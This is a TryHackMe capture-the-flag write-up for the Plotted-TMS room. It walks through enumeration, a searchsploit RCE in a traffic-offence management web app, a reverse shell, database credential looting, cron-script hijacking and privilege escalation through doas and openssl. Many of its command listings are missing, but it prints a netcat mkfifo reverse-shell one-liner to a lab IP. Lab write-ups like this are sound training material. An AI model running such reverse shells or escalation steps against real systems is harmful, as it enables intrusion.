Plotted-TMS TryHackMe

Let’s take a look at the Plotted-TMS CTF on TryHackMe Created by @sa.infinity8888.

Enumeration

Nmap Scan

The first step of my enumeration was a scan with nmap. by the command:

sudo nmap 10.10.123.136 -sC -sS -Pn

The “Nmap Output” displayed 3 service running under port 80, 445 and 22.

Dirsearch Scan

I next decided to run a Dirsearch scan on the webserver to see if there were any interesting hidden directories, by the command:

After we've completed our scan, we see And with the help of CyberChef we found :

Trust me it is not this easy..now get back to enumeration :D

And we also found : That means:

not this easy :D

And Now I run the scan in the the webserver that is on port 445:

And we found:

Exploiting

Now let’s look for exploits that we can use.

searchsploit Traffic Offence Management System

The Output displayed that there's RCE: Remote Code Execution, SQLi: SQL Injection, XSS: Cross-site scripting. And I've decide to go with the RCE vulnerability:

And I modify the Exploit to:

So it successfully did a RCE and uploaded a shell on the host :

And I tried ls command on it:

Reverse Shell

I set up my netcat listener on port 4444 and I fired up Burp and sent a POST request with the following encoded payload using URL encoding:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.174.180 4444 >/tmp/f

Great! I received a reverse connection on my port 4444. And I've upgraded the shell:

Database Discovery

Now we're in the machine and I decided to take a look at the initialize.php file which gave me the username and the password for accessing the database:

Then I tried to connect to the database using the credentials of last file. And I found some Password Hashs:

User Flag

Inside the home directory of the plot_admin user. I notice a file called user.txt but I didn't have the rights to access it.

As I was exploring I tried to look at the contab file:

Interesting we found a script called backup.

Then I tried to remove the original backup script and rewrite another one that will help me get a reverse shell with reverse-shell-generator:

And when I run date command I got a shell on my listner, and I got the flag:

Root Flag

Now it’s time to escalate our privileges and get the root flag.

So as a result of find / -perm -u=s -type f 2>/dev/null we found that we can run doas as root. And after some research I found that I can only openssl with the root privilege and I followed the steps of GTFObins :